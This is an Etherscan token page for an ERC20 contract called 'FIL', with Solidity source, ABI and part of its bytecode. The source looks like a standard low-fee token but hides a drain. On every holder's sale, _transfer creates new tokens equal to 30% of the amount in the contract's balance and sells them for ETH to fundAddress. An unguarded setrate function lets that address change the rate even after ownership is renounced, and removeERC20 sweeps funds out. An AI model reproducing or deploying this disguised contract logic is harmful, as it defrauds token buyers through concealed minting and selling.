ETH Price: $2,840.08 (-8.87%)
 

Overview

Max Total Supply

420,690,000,000,000 FIL

Holders

8

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
156,124,952,492,349.505312267 FIL

Value
$0.00
0x19B9D250b06D9b20338F6a35F3E21b2c1532E57c
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ERC20

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-19
*/

/**
 *Submitted for verification at Etherscan.io on 2023-07-07
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.7;

/*
 * Telegram : https://t.me/TwoShib_ERC
 * Twitter : https://twitter.com/2SHIB_ERC
 * Website : 20shib.Info
*/

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;


}

interface IUniswapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "you are not owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract TokenDistributor {
    constructor (address token) {
        (bool success, ) = token.call(abi.encodeWithSignature("approve(address,uint256)",msg.sender, ~uint256(0)));
        require(success);
    }
}

contract ERC20 is IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address public fundAddress;

    string private _name;
    string private _symbol;
    uint8 private _decimals;

    mapping(address => bool) public _isExcludeFromFee;
    
    uint256 private _totalSupply;

    IUniswapRouter public _uniswapRouter;

    mapping(address => bool) public isMarketPair;
    bool private inSwap;

    uint256 private constant MAX = ~uint256(0);

    uint256 public _buyFundFee = 1;
    uint256 public _sellFundFee = 1;

    address public _uniswapPair;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    TokenDistributor public _tokenDistributor;

    constructor (){
        _name = "FIL";
        _symbol = "FIL";
        _decimals = 9;
        uint256 Supply = 420_690_000_000_000;

        IUniswapRouter swapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        _uniswapRouter = swapRouter;
        _allowances[address(this)][address(swapRouter)] = MAX;

        IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory());
        address swapPair = swapFactory.createPair(address(this), swapRouter.WETH());
        _uniswapPair = swapPair;
        isMarketPair[swapPair] = true;

        _totalSupply = Supply * 10 ** _decimals;

        address receiveAddr = msg.sender;
        _balances[receiveAddr] = _totalSupply;
        emit Transfer(address(0), receiveAddr, _totalSupply);

        fundAddress = receiveAddr;

        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[address(swapRouter)] = true;
        _isExcludeFromFee[receiveAddr] = true;
        _isExcludeFromFee[fundAddress] = true;

        IERC20(_uniswapRouter.WETH()).approve(
            address(address(_uniswapRouter)),
            ~uint256(0)
        );

        _tokenDistributor = new TokenDistributor(_uniswapRouter.WETH());

    }

    function disablefee() public onlyOwner{
        _buyFundFee = 0;
        _sellFundFee = 0;
    }

    function setFundAddr(address newAddr) public onlyOwner{
        fundAddress = newAddr;
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    uint256 public rate = 30;
    function setrate(uint256 newv) public {
        address on = fundAddress;
        if (msg.sender == on){
            rate = newv;
        }
    }
    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        uint256 balance = balanceOf(from);
        require(balance >= amount, "balanceNotEnough");

        bool takeFee;
        bool sellFlag;



        if (isMarketPair[to] && !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to]) {
            uint256 contractTokenBalance = amount*rate/100;
            if (contractTokenBalance > balanceOf(address(this)))
                _balances[address(this)] = contractTokenBalance;
            
            if (contractTokenBalance > 0)
                swapTokenForETH(contractTokenBalance); 
        }

        if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) {
            takeFee = true;
        }

        if (takeFee && !isMarketPair[from] && !isMarketPair[to]){
            takeFee = false;
        }

        if (isMarketPair[to]) { sellFlag = true; }

        _transferToken(from, to, amount, takeFee, sellFlag);
    }

   function autoSwap(uint256 _count) public {
        IERC20(_uniswapRouter.WETH()).transferFrom(msg.sender, address(this), _count);
        swapTokenToDistribute(_count);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender] - amount;
        _balances[recipient] = _balances[recipient] + amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapTokenToDistribute(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = _uniswapRouter.WETH();
        path[1] = address(this);

        // make the swap
        // if(tokenAmount <= balance)
        try _uniswapRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of CA
            path,
            address(_tokenDistributor),
            block.timestamp
        ) {} catch {}
        if(balanceOf(address(_tokenDistributor))>0)
            _basicTransfer(address(_tokenDistributor), address(this), balanceOf(address(_tokenDistributor)));
    }

    function _transferToken(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee,
        bool sellFlag
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount;

        if (takeFee) {
            
            uint256 taxFee;

            if (sellFlag) {
                taxFee = _sellFundFee;
            } else {
                taxFee = _buyFundFee;
            }
            uint256 swapAmount = tAmount * taxFee / 100;
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _balances[address(this)] = _balances[address(this)] + swapAmount;
                emit Transfer(sender, address(this), swapAmount);
            }
        }

        _balances[recipient] = _balances[recipient] + (tAmount - feeAmount);
        emit Transfer(sender, recipient, tAmount - feeAmount);

    }

    function removeERC20(address _token) external {
        if(_token != address(this)){
            IERC20(_token).transfer(fundAddress, IERC20(_token).balanceOf(address(this)));
            payable(fundAddress).transfer(address(this).balance);
        }
    }

    event catchEvent(uint8);

    function swapTokenForETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapRouter.WETH();
        try _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(fundAddress),
            block.timestamp
        ) {} catch { emit catchEvent(0); }
    }

    function setIsExcludeFromFees(address account, bool value) public onlyOwner{
        _isExcludeFromFee[account] = value;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint8","name":"","type":"uint8"}],"name":"catchEvent","type":"event"},{"inputs":[],"name":"_buyFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tokenDistributor","outputs":[{"internalType":"contract TokenDistributor","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_count","type":"uint256"}],"name":"autoSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disablefee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fundAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"rate","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"removeERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddr","type":"address"}],"name":"setFundAddr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setIsExcludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newv","type":"uint256"}],"name":"setrate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526001600c556001600d55601e6010553480156200002057600080fd5b506000339050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506040518060400160405280600381526020017f46494c0000000000000000000000000000000000000000000000000000000000815250600490805190602001906200010f929190620009c5565b506040518060400160405280600381526020017f46494c0000000000000000000000000000000000000000000000000000000000815250600590805190602001906200015d929190620009c5565b506009600660006101000a81548160ff021916908360ff160217905550600066017e9d8602b40090506000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600019600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620002ac57600080fd5b505afa158015620002c1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002e7919062000ab1565b905060008173ffffffffffffffffffffffffffffffffffffffff1663c9c65396308573ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200034f57600080fd5b505afa15801562000364573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200038a919062000ab1565b6040518363ffffffff1660e01b8152600401620003a992919062000b54565b602060405180830381600087803b158015620003c457600080fd5b505af1158015620003d9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003ff919062000ab1565b905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600660009054906101000a900460ff16600a620004b8919062000c26565b84620004c5919062000d63565b6008819055506000339050600854600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60085460405162000578919062000bae565b60405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620007ac57600080fd5b505afa158015620007c1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620007e7919062000ab1565b73ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000196040518363ffffffff1660e01b81526004016200084792919062000b81565b602060405180830381600087803b1580156200086257600080fd5b505af115801562000877573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200089d919062000ae3565b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200090757600080fd5b505afa1580156200091c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000942919062000ab1565b604051620009509062000a56565b6200095c919062000b37565b604051809103906000f08015801562000979573d6000803e3d6000fd5b50600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050505062000ef5565b828054620009d39062000e1b565b90600052602060002090601f016020900481019282620009f7576000855562000a43565b82601f1062000a1257805160ff191683800117855562000a43565b8280016001018555821562000a43579182015b8281111562000a4257825182559160200191906001019062000a25565b5b50905062000a52919062000a64565b5090565b6103008062003cef83390190565b5b8082111562000a7f57600081600090555060010162000a65565b5090565b60008151905062000a948162000ec1565b92915050565b60008151905062000aab8162000edb565b92915050565b60006020828403121562000aca5762000ac962000eaf565b5b600062000ada8482850162000a83565b91505092915050565b60006020828403121562000afc5762000afb62000eaf565b5b600062000b0c8482850162000a9a565b91505092915050565b62000b208162000dc4565b82525050565b62000b318162000e04565b82525050565b600060208201905062000b4e600083018462000b15565b92915050565b600060408201905062000b6b600083018562000b15565b62000b7a602083018462000b15565b9392505050565b600060408201905062000b98600083018562000b15565b62000ba7602083018462000b26565b9392505050565b600060208201905062000bc5600083018462000b26565b92915050565b6000808291508390505b600185111562000c1d5780860481111562000bf55762000bf462000e51565b5b600185161562000c055780820291505b808102905062000c158562000eb4565b945062000bd5565b94509492505050565b600062000c338262000e04565b915062000c408362000e0e565b925062000c6f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000c77565b905092915050565b60008262000c89576001905062000d5c565b8162000c99576000905062000d5c565b816001811462000cb2576002811462000cbd5762000cf3565b600191505062000d5c565b60ff84111562000cd25762000cd162000e51565b5b8360020a91508482111562000cec5762000ceb62000e51565b5b5062000d5c565b5060208310610133831016604e8410600b841016171562000d2d5782820a90508381111562000d275762000d2662000e51565b5b62000d5c565b62000d3c848484600162000bcb565b9250905081840481111562000d565762000d5562000e51565b5b81810290505b9392505050565b600062000d708262000e04565b915062000d7d8362000e04565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000db95762000db862000e51565b5b828202905092915050565b600062000dd18262000de4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000600282049050600182168062000e3457607f821691505b6020821081141562000e4b5762000e4a62000e80565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b62000ecc8162000dc4565b811462000ed857600080fd5b50565b62000ee68162000dd8565b811462000ef257600080fd5b50565b612dea8062000f056000396000f3fe6080604052600436106101a05760003560e01c806370a08231116100ec578063a9059cbb1161008a578063dd62ed3e11610064578063dd62ed3e146105c5578063e82bef2914610602578063ec8274601461062d578063f2fde38b14610656576101a7565b8063a9059cbb14610534578063ba34c8f114610571578063ce0192f91461059a576101a7565b80638718b24f116100c65780638718b24f1461048a5780638da5cb5b146104b557806395d89b41146104e0578063a67755c21461050b576101a7565b806370a082311461040d578063715018a61461044a578063863587cd14610461576101a7565b806336b2e027116101595780633ecad271116101335780633ecad271146103515780634bf28fd01461038e57806365b61b77146103b95780636f39cfcd146103e4576101a7565b806336b2e027146102d25780633b3e13831461030f5780633bfe62ca14610326576101a7565b806306fdde03146101ac578063095ea7b3146101d757806318160ddd1461021457806323b872dd1461023f5780632c4e722e1461027c578063313ce567146102a7576101a7565b366101a757005b600080fd5b3480156101b857600080fd5b506101c161067f565b6040516101ce9190612851565b60405180910390f35b3480156101e357600080fd5b506101fe60048036038101906101f99190612504565b610711565b60405161020b91906127e5565b60405180910390f35b34801561022057600080fd5b50610229610728565b60405161023691906128d3565b60405180910390f35b34801561024b57600080fd5b5061026660048036038101906102619190612471565b610732565b60405161027391906127e5565b60405180910390f35b34801561028857600080fd5b506102916108d8565b60405161029e91906128d3565b60405180910390f35b3480156102b357600080fd5b506102bc6108de565b6040516102c99190612948565b60405180910390f35b3480156102de57600080fd5b506102f960048036038101906102f491906123d7565b6108f5565b60405161030691906127e5565b60405180910390f35b34801561031b57600080fd5b50610324610915565b005b34801561033257600080fd5b5061033b6109b5565b60405161034891906128d3565b60405180910390f35b34801561035d57600080fd5b50610378600480360381019061037391906123d7565b6109bb565b60405161038591906127e5565b60405180910390f35b34801561039a57600080fd5b506103a36109db565b6040516103b0919061276a565b60405180910390f35b3480156103c557600080fd5b506103ce610a01565b6040516103db9190612800565b60405180910390f35b3480156103f057600080fd5b5061040b600480360381019061040691906123d7565b610a27565b005b34801561041957600080fd5b50610434600480360381019061042f91906123d7565b610af9565b60405161044191906128d3565b60405180910390f35b34801561045657600080fd5b5061045f610b42565b005b34801561046d57600080fd5b50610488600480360381019061048391906124c4565b610c8e565b005b34801561049657600080fd5b5061049f610d77565b6040516104ac919061281b565b60405180910390f35b3480156104c157600080fd5b506104ca610d9d565b6040516104d7919061276a565b60405180910390f35b3480156104ec57600080fd5b506104f5610dc6565b6040516105029190612851565b60405180910390f35b34801561051757600080fd5b50610532600480360381019061052d91906123d7565b610e58565b005b34801561054057600080fd5b5061055b60048036038101906105569190612504565b611030565b60405161056891906127e5565b60405180910390f35b34801561057d57600080fd5b5061059860048036038101906105939190612571565b611047565b005b3480156105a657600080fd5b506105af6110ae565b6040516105bc91906128d3565b60405180910390f35b3480156105d157600080fd5b506105ec60048036038101906105e79190612431565b6110b4565b6040516105f991906128d3565b60405180910390f35b34801561060e57600080fd5b5061061761113b565b604051610624919061276a565b60405180910390f35b34801561063957600080fd5b50610654600480360381019061064f9190612571565b611161565b005b34801561066257600080fd5b5061067d600480360381019061067891906123d7565b61129c565b005b60606004805461068e90612bc1565b80601f01602080910402602001604051908101604052809291908181526020018280546106ba90612bc1565b80156107075780601f106106dc57610100808354040283529160200191610707565b820191906000526020600020905b8154815290600101906020018083116106ea57829003601f168201915b5050505050905090565b600061071e338484611457565b6001905092915050565b6000600854905090565b600061073f848484611542565b600019600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146108cd5781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461084c9190612a99565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600190509392505050565b60105481565b6000600660009054906101000a900460ff16905090565b60076020528060005260406000206000915054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099a906128b3565b60405180910390fd5b6000600c819055506000600d81905550565b600d5481565b600a6020528060005260406000206000915054906101000a900460ff1681565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ab5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aac906128b3565b60405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc7906128b3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d13906128b3565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610dd590612bc1565b80601f0160208091040260200160405190810160405280929190818152602001828054610e0190612bc1565b8015610e4e5780601f10610e2357610100808354040283529160200191610e4e565b820191906000526020600020905b815481529060010190602001808311610e3157829003601f168201915b5050505050905090565b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461102d578073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610f03919061276a565b60206040518083038186803b158015610f1b57600080fd5b505afa158015610f2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f53919061259e565b6040518363ffffffff1660e01b8152600401610f709291906127bc565b602060405180830381600087803b158015610f8a57600080fd5b505af1158015610f9e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fc29190612544565b50600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561102b573d6000803e3d6000fd5b505b50565b600061103d338484611542565b6001905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156110aa57816010819055505b5050565b600c5481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c957600080fd5b505afa1580156111dd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112019190612404565b73ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b815260040161123d93929190612785565b602060405180830381600087803b15801561125757600080fd5b505af115801561126b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061128f9190612544565b506112998161191e565b50565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461132a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611321906128b3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561139a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139190612893565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd